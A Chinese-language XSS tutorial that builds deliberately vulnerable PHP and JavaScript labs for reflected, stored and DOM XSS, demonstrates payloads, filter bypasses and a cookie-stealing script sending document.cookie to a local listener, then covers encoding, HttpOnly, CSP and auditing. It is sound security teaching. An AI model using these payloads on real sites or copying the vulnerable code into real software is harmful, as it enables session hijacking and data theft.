如果你在一个输入框里随手输一行文字,提交后页面把这段文字原样“弹”了回来,那我得提醒你:这大概率就是 Web 世界里最常见的漏洞之一——XSS 跨站脚本攻击。很多新人学 XSS 时容易卡在“会用工具弹个窗,但说不清原理”,或者“背了一堆 payload,换个位置就失效”。
这篇文章我想换一种讲法,不只给你看现象,而是从最底层的“数据为什么会变成代码”开始拆,然后带你用十几行代码在本地复现三种 XSS,再把“拿到弹窗”升级到“会话劫持”的完整链路走一遍,最后落到防御侧,分析为什么过滤总被绕,以及真正靠谱的纵深防御长什么样。内容会尽量保持说人话,适合刚接触 Web 安全、想系统入门 XSS 的新人,也适合前后端开发顺手自查。
1. 先拆 XSS 的内核:为什么一段字符串能变成攻击命令
1.1 一个最经典的“问题代码”
我们先写一段 PHP,它没有数据库、没有框架,总共就几行:
<?php $name = $_GET['name']; echo "Hello, " . $name . "!"; ?>正常使用时,访问http://localhost/xss.php?name=Alice,页面显示Hello, Alice!。如果我在浏览器里把地址改成:
http://localhost/xss.php?name=<script>alert(1)</script>浏览器发出的请求里,name的参数值就是那段 HTML 标签。服务端拿到它之后,原封不动地拼进了响应体,于是浏览器在解析页面时,看到的是一个真实存在的<script>元素,它就会执行alert(1)。
这里的关键点是:服务端和浏览器都没有做任何“身份区分”——服务端认为它只是把一段字符串打印到 HTML 输出流里,浏览器却按照 HTML 语法把其中的标签识别成了可执行代码。
1.2 浏览器把“你给的”和“程序写的”看成同一种东西
我在实际带人入门时,被问得最多的一个问题是:浏览器为什么这么傻,用户输入的内容它也执行?这其实不能怪浏览器,因为浏览器拿到 HTML 响应时,它面对的是一个已经拼接好的文本流。
你可以把 HTML 文档想象成一张白纸,服务端负责把内容写到纸上。现在纸上既有程序自己写的固定内容,也有从用户请求里取出来的内容,两者混在一起,用的都是同样的墨水。浏览器解析这张纸时,它没法去区分“哪段文字是哪来的”,它只关心“这段文本是否符合 HTML 语法规则”。所以,只要用户输入被放进了一个“可能被解析成标签或属性”的位置,并且没有做任何转义,就存在注入的可能。
打个比方:现在我给你一张发票模板,只要把你提供的“报销备注”原样抄进去,发票就能生效。但你递过来的备注写着“另外给我转账 100 万”,会计也不看内容,照着抄进发票里——结果就出问题了。服务端就是那个会计,浏览器则是审核发票的人。XSS 的本质,就是把不可信的数据放进了一个可执行上下文,导致数据和代码的边界被打破。
1.3 三大形态怎么分:反射、存储、DOM
很多人一开始分不清反射型、存储型、DOM 型 XSS,其实弄明白“恶意脚本是在哪个环节被存下来的”就够了。
| 类型 | 恶意内容主要存在哪里 | 触发方式 | 是否经过服务器 | 典型场景 |
|---|---|---|---|---|
| 反射型 | 请求 URL / 请求参数里 | 每次需要诱导用户点击恶意链接 | 是 | 搜索框、错误页面回显 |
| 存储型 | 服务器数据库 / 文件 | 用户访问包含恶意内容的页面即触发 | 是 | 留言板、评论区、昵称 |
| DOM 型 | 浏览器内存中的 JavaScript 变量 | 页面 JavaScript 读取外部数据后动态写入页面 | 否(有时服务端也参与但责任在客户端) | URL 参数、location.hash、postMessage |
反射型和存储型都涉及服务端没有正确编码就输出,而 DOM 型的特殊之处在于,服务端可能返回的是一个完全正常的页面,恶意脚本是由前端 JavaScript 自己拼进去的。后面我们会各用一个靶场实验把这三种情况完全跑通。
理解这三种形态的价值在于,它们的“责任方”是不同的。修反射型,你改服务端输出就行;修 DOM 型,你得看前端代码里所有通过innerHTML、document.write写入数据的地方。这也是为什么很多团队做了接口层过滤,XSS 仍然防不住,因为 DOM 型漏洞根本不经过那层过滤。
2. 本地搭建最小靶场:三种 XSS 亲手跑一遍
2.1 反射型 XSS:10 行 PHP 就够
我先讲环境。你在自己电脑上放一个 PHP 文件,假设叫reflected.php:
<?php $keyword = $_GET['q'] ?? ''; echo '<h3>搜索结果:' . $keyword . '</h3>'; ?>页面访问http://localhost/reflected.php?q=test,会显示“搜索结果:test”。现在我们把参数值改成:
http://localhost/reflected.php?q=<script>alert(document.domain)</script>这时浏览器会弹出一个对话框,显示的是当前站点域名。为什么这幅画面很经典?因为这说明脚本已经在你访问的这个站点环境下执行了,攻击者可以在此基础上读取这个站点的数据,冒充这个用户去操作,而不只是弹个窗留念。
在实际测试环境中,我会建议你在输入框里先试一些“无害但能证明执行”的载荷,比如alert(document.domain),因为alert是最直观的验证方式。请一定不要用这种方式去任何未经授权的网站测试。
反射型的关键特征是“一次性”:恶意脚本藏在 URL 里,服务端把参数反射回响应。攻击者要做的是把这条恶意链接发给受害者,诱导他点击。对攻击者来说,这段脚本并没有永久留在目标服务器上,所以叫“反射型”。
2.2 存储型 XSS:写进“数据库”的攻击
存储型最容易理解它的威胁,因为它不再是“一次性骗点击”。我用一个简单的留言板来演示,存储直接用一个文本文件代替数据库,逻辑更清晰:
<?php // save.php if ($_POST['msg'] !== '') { file_put_contents('messages.txt', $_POST['msg'] . PHP_EOL, FILE_APPEND); } ?><?php // list.php echo '<h2>留言板</h2>'; $lines = file('messages.txt'); foreach ($lines as $line) { echo '<p>' . $line . '</p>'; } ?>正常流程是用户在save.php提交一条纯文本留言,list.php把所有留言读出来展示。但如果提交时留言内容是:
<script src="http://localhost:8888/evil.js"></script>那list.php每次被任何人访问,都会加载这个外部脚本并执行。即使恶意脚本只在提交那一刻发生一次,后面每一个打开留言板的用户都会中招。
这也是存储型 XSS 最可怕的地方:它的攻击范围不是“某个人点了恶意链接”,而是“所有访问了页面的人”。在真实场景里,这类问题最常出现在评论区、用户昵称、消息通知这类“用户内容会被保存并在后续页面展示”的功能上。做代码审计时,我最先关注的一定是这类持久化输出点。
2.3 DOM 型 XSS:服务器毫不知情
DOM 型 XSS 的难点在于,服务端可能没有任何一个字段被直接拼到响应里。我们用一段纯前端代码模拟:
<!DOCTYPE html> <html> <head><title>欢迎页</title></head> <body> <div id="output">Hello, guest</div> <script> let params = new URLSearchParams(location.search); let name = params.get('name'); document.getElementById('output').innerHTML = 'Hello, ' + name; </script> </body> </html>现在访问:
http://localhost/dom.html?name=<img src=x onerror=alert(1)>浏览器把name参数取出来,通过innerHTML写进div。<img>标签加载失败,触发onerror事件,脚本执行。整个过程里,服务端返回的是固定 HTML,恶意内容根本没有经过服务端拼装——就算服务端做了很严格的输入过滤和输出编码,对这个页面也无效,因为危险发生在客户端的 DOM 操作里。
我遇到过很多开发同学问:那用textContent代替innerHTML是不是就安全了?在绝大多数场景下是的,因为textContent只会把内容当作纯文本,不会解析 HTML。但真正的问题是项目里到处都有人图省事用innerHTML、document.write、以及 jQuery 的.html()方法,这些 API 本质上是“把字符串当 HTML 解析”的入口。审代码的时候,我会直接全局搜索innerHTML和.html(),然后逐个跟踪数据来源,这是发现 DOM XSS 最高效的路子。
2.4 三个触发链路放一起看
三个实验做完,你会发现它们的链路差异决定了防御位置:
| 类型 | 恶意代码进出的路径 | 最核心的防御点 |
|---|---|---|
| 反射型 | 浏览器 → 服务端 → 响应 → 浏览器 | 服务端输出编码 |
| 存储型 | 浏览器 → 服务端存储 → 任意用户浏览器 | 服务端输入校验 + 输出编码,且要覆盖所有展示场景 |
| DOM 型 | 浏览器 → JS 读取 → DOM 写入 | 前端代码不要用 HTML 解释型 API,或对写入内容做编码 |
我们不需要死记“每个类型叫什么”这类概念,只需要在拿到一个功能模块时问自己三句话:数据从哪来?数据到哪里去?中间有没有哪一步会把结构当执行代码?这三个问题问完,XSS 的类型自然就清楚了。
3. 危害放大:从弹窗到会话劫持的完整演示链路
3.1 第一步:先把弹窗变成真正的数据外带
弹窗只能证明漏洞存在,攻击者真正想做的,是把受害者的数据偷出来。以存储型 XSS 为例,恶意脚本可以做成这样(以下仅用于本地靶场演示,请勿在任何未授权系统上尝试):
// evil.js new Image().src = 'http://localhost:8888/steal?cookie=' + document.cookie;这段脚本的作用是,把当前页面可访问的 Cookie 拼进一个图片链接的 URL,然后请求到攻击者监听的服务上。攻击者在另一个端口起一个本地服务,就能从访问日志里看到steal?cookie=sessionid=xxxxxxxx这样的记录。
这个思路可以扩展到偷表单内容、偷本地存储、模拟用户点击、抓取页面里的敏感信息。XSS 真正的威力不是弹窗,而是恶意脚本拥有了当前用户在浏览器里的权限,它能调用这个页面允许的所有接口,能读取同源下的数据。对一个未开放特殊端口、未锁定 Cookie 属性的 Web 应用来说,一次成功的 XSS 基本等于账户控制。
3.2 HttpOnly 能挡住一部分,但不是全部真相
你现在可能想到了 HttpOnly。这是一个很有意思的对抗点。HttpOnly 是服务器在Set-Cookie响应头里加了HttpOnly标志,目的是告诉浏览器:这个 Cookie 只能通过 HTTP 请求自动携带,JavaScript 无法通过document.cookie读取。
加了 HttpOnly 后,我上面那段steal脚本确实拿不到 Cookie 了,这一点是对攻击者最直接的阻碍。但请注意,HttpOnly 挡不住 XSS 本身,因为恶意脚本还在执行。攻击者拿不到 Cookie,还可以做一些完全不需要 Cookie 的事:
- 修改页面上显示的金额、账号等信息,诱导用户在伪造内容上进一步操作;
- 动态替换成钓鱼表单,受害者在这个“合法域名”下填写的密码和验证码会被外带;
- 在页面内自动提交表单,发起改密码、转账等操作——这就是 CSRF 的结合;
- 监听键盘事件,记录用户在当前页面输入的一切内容。
所以,把 HttpOnly 当成“免死金牌”是很多团队的误区。它是一个非常关键的缓解层,但 XSS 的根子在“不可信数据进入可执行上下文”,只要这个根子不拔掉,攻击者总有绕过面。
3.3 同源策略限制了什么,没有限制什么
学到这里,可能会有一个问题:恶意脚本凭什么能读取到这个站点的数据?这就不得不提浏览器的同源策略。同源策略规定,一个页面里的脚本只能访问“同源”的页面数据,源由协议、域名、端口三者决定。也就是说,攻击者自己在evil.com上的脚本,正常情况下是读不到victim.com的数据的。但 XSS 的可怕之处正在于:攻击者的脚本是在victim.com的页面内被注入执行的,它跟页面本身的脚本“同源”,浏览器就认为这是从本站加载的代码,该有的权限全都有。
所以,同源策略是浏览器的一道安全防线,但 XSS 让攻击者翻过了这道墙,直接在墙内活动。这也解释了为什么很多防护方案都围绕“减少可执行上下文”“限制脚本来源”来设计。当 XSS 无法被百分百阻止时,CSP(内容安全策略)能显著提高攻击成本,比如指定页面只能加载同源脚本,并且禁止内联脚本执行。一个站点即使存在存储型 XSS,如果 CSP 设置严格,被注入的脚本可能根本无法执行。
CSP 本身是一个很大的话题,新人在学 XSS 时至少要理解它的机制:通过响应头或<meta>告诉浏览器“页面允许加载哪些来源的脚本、样式、图片”,不满足条件的资源直接拦截。它不能修复漏洞,但是一个有效的托底手段。
4. 绕过与防御:用代码审计思路做纵深拆解
4.1 为什么过滤总被绕过:常见绕过手法复盘
很多新人在做练习时,会发现一个现象:明明代码里加了str_replace把<script>替换掉了,结果还是被绕过了。这不是某个特定框架的问题,而是因为 HTML 的解析规则远比“去掉一个标签名”复杂。
我整理几个我在授权测试环境里常用的绕过思路,把它当成“防御侧的案例分析”来看:
- 大小写和嵌套:过滤了
<script>就试<SCRIPT>、<ScRiPt>,某些配置里前端过滤器是区分大小写的。 - 事件属性:不用
<script>,直接用<img src=x onerror=alert(1)>,因为<img>标签加载资源失败会触发onerror。 - 伪协议:在
href、src属性里使用javascript:协议触发脚本,比如<a href="javascript:alert(1)">click</a>。 - 其他可承载 HTML 的命名空间:
<svg>、<math>里的标签解析规则与普通 HTML 不同,一些在 HTML 里被过滤的编码,在这些命名空间里可能正常执行。 - 编码绕过:浏览器在解析实体、URL 编码时有非常复杂的层级,过滤层只做一次解码,而浏览器可能解了两次。这是导致绕过的最常见原因。
我说这些不是要教你专门破坏别人的网站,而是因为只有理解了绕过路径,写防御代码时才会真正谨慎。你会亲眼看到“把一个字符串里的<script>删掉”这种过滤为什么不堪一击,也会明白为什么安全工作一定要做纵深防御,而不是依赖单一的白名单。
4.2 每种输出位置都需要不同的编码方式
防御侧最关键的一点是:编码必须跟“输出位置”匹配。很多已经做了转义的团队仍然被绕过,就是因为在一个位置用错了编码方法。
| 输出上下文 | 场景示例 | 需要做的编码/处理 |
|---|---|---|
| HTML 元素内容 | <p>{userInput}</p> | 转义& < > " ',其中首要转义<和& |
| HTML 属性值 | <input value="{userInput}"> | 转义引号和&,避免属性值被闭合后注入新属性 |
| URL 上下文 | <a href="{userInput}"> | 禁止javascript:等协议,做 URL 白名单校验 |
| JS 字符串上下文 | var x = "{userInput}"; | 转义反斜杠、引号,最好避免直接拼接,用 JSON 传输 |
| CSS 上下文 | background: url({userInput}) | 尽量避免不可信数据进入 CSS,必须做协议白名单 |
以 PHP 的htmlspecialchars()为例,默认转义&、<、>、"和'(取决于设置),但它适合的是“HTML 元素内容”和“带引号的属性值”。如果你用它去包裹一段用户输入,然后又把它放在onclick="..."这类 JS 执行上下文里,那就不够用了,因为 JS 解析器不认 HTML 实体。
所以我看代码的时候,从来不只是看“有没有转义”,还会循着变量从哪个函数来、要输出到哪个标签的哪个位置,逐段确认匹配性。这个是很多开发新手最容易忽略的细节。
4.3 纵深防御的落地清单
如果让团队真正落地 XSS 防护,我会把下面这组清单抛出来,按优先级排:
- 输入侧做白名单校验:能限制格式的字段全部限制格式,比如数字、手机号、枚举值。对富文本,统一走白名单过滤组件,移除
script、事件属性、javascript:协议等危险结构。 - 输出侧按上下文编码:前后端都要对你输出到 HTML 中的数据做转义,前端尤其注意
innerHTML、document.write、outerHTML这类危险 API,能用textContent就用textContent。 - Cookie 加安全属性:关键会话 Cookie 必须设置
HttpOnly和SameSite,传输走 HTTPS 时开启Secure。 - 启用 CSP:对于没有富文本需求的页面,直接禁止内联脚本和外部未知域名的脚本加载。需要页面开发灵活性的团队,可以用
nonce或hash的方式给合法脚本放行。 - 安全开发规范:新功能上线前,让安全测试至少覆盖“可输入内容是否会原样输出”“客户端是否会动态拼接 HTML”两条路径,并保留统一的 XSS 测试用例。
你可能会发现,真正有效的防御没有一个是“单点绝对安全”。输入过滤、输出编码、CSP、HttpOnly,每一层都会漏,但每一层都能挡住一部分攻击。攻击者需要一条完整的利用链,防御方则只需要把链子的任何一环焊死。
5. 给新人的 XSS 学习方法与心态
5.1 有效的练习路径:靶场、样本、源码审计三步走
我在学习 XSS 的过程中总结了一条经过多人验证的路径:
第一步,把三种 XSS 都亲手复现一遍,对自己写的靶场下手,观察请求和响应,理解恶意代码从哪里进入、最终在哪个环节变成可执行代码。
第二步,看公开的漏洞 Writeup 和演示环境。很多平台提供了免费在线练习环境,可以在“合法可控”的范围内练各种绕过手法。练的时候不要只复制 payload,要拆开看它为什么能执行,比如它利用了哪一个解析阶段。
第三步,自己搭建或阅读一个开源项目的源码,做代码审计练习。找 1000 行以内的项目,重点找$_GET、$_POST参数往 HTML 里拼的逻辑,或者前端搜索innerHTML,看看你能不能找到 XSS 点。能找到漏洞,你才会真正理解“哪些地方适合做过滤,哪些地方是漏网之鱼”。
5.2 浏览器开发者工具的三个实用调试技巧
做 XSS 学习时,浏览器开发者工具是你最高频的伙伴,这里分享三个我一直用的技巧:
第一个是查看实际渲染的 DOM。输入 payload 后,切到开发者工具的“元素”面板,观察恶意标签是否被完整解析。很多初学者只看网络面板里的响应内容,忽略了浏览器对 HTML 的容错处理,比如多余的引号、标签自动闭合等,都会影响最后的执行结果。
第二个是在 Console 里逐条执行验证。遇到不确定的载荷,可以先把payload放进 Console 里的document.write或element.innerHTML中看效果,再决定要不要走一遍完整请求。这能帮助你快速缩小问题范围。
第三个是用断点观察 JavaScript 执行顺序。DOM 型 XSS 的调试离不开它——你要在读取 URL 参数的那一行代码上打断点,单步执行,看看数据到了哪一个 API 被拼接进 DOM,这样你就能定位漏洞的确切触发点,而不是靠猜。
5.3 容易踩的坑和学习心态
最后想聊聊新人学 XSS 时最常见的几个误区。
第一个坑是把 XSS 当成“弹窗漏洞”。弹窗只是在演示时证明执行,它并不是漏洞危害的全部。同样,能用alert弹窗不等于你已经掌握了 XSS,因为现实场景里保证脚本执行往往更难,可执行之后的利用方式也远比弹窗复杂。
第二个坑是过度依赖扫描器。漏洞扫描器可以帮你发现一部分输入点,但它很难判断一个“看起来被转义”的输出位置是不是真的安全,更别提 DOM 型 XSS 这类纯客户端问题。手动分析请求、响应和前端代码,仍然是核心能力。
第三个坑是心态上的急于求成。XSS 涉及 HTTP 协议、HTML 解析、JavaScript 执行、编码规则、浏览器安全策略,这些知识本身就需要时间沉淀。我见过很多同学把绕过 payload 背得滚瓜烂熟,但一旦换了场景就不知道如何下手。更推荐的方法是:每看到一个 payload,都追问它靠什么“机制”生效,把那套机制记下来,而不是只记那个符号。
我在实际项目中踩过的最痛一次,就是维护一个老系统时,只给服务端做了统一的 HTML 实体转义,却没检查前端的富文本渲染逻辑,结果一个用户输入的“图片地址”里带着onerror事件,在管理后台执行了脚本,整个后台会话暴露风险。那次之后,我自己的防御观从“加一道过滤”彻底转变成了“每一层都不放心,每一层都盯紧”。
如果你能亲手把反射、存储、DOM 三种 XSS 都跑一遍,再对着一份上千行源码做一次审计练习,你对 XSS 的理解会比看再多篇漏洞列表都扎实。之后无论是写代码,还是做测试,你都能用自己的眼睛判断“这段输入到底能不能闯祸”。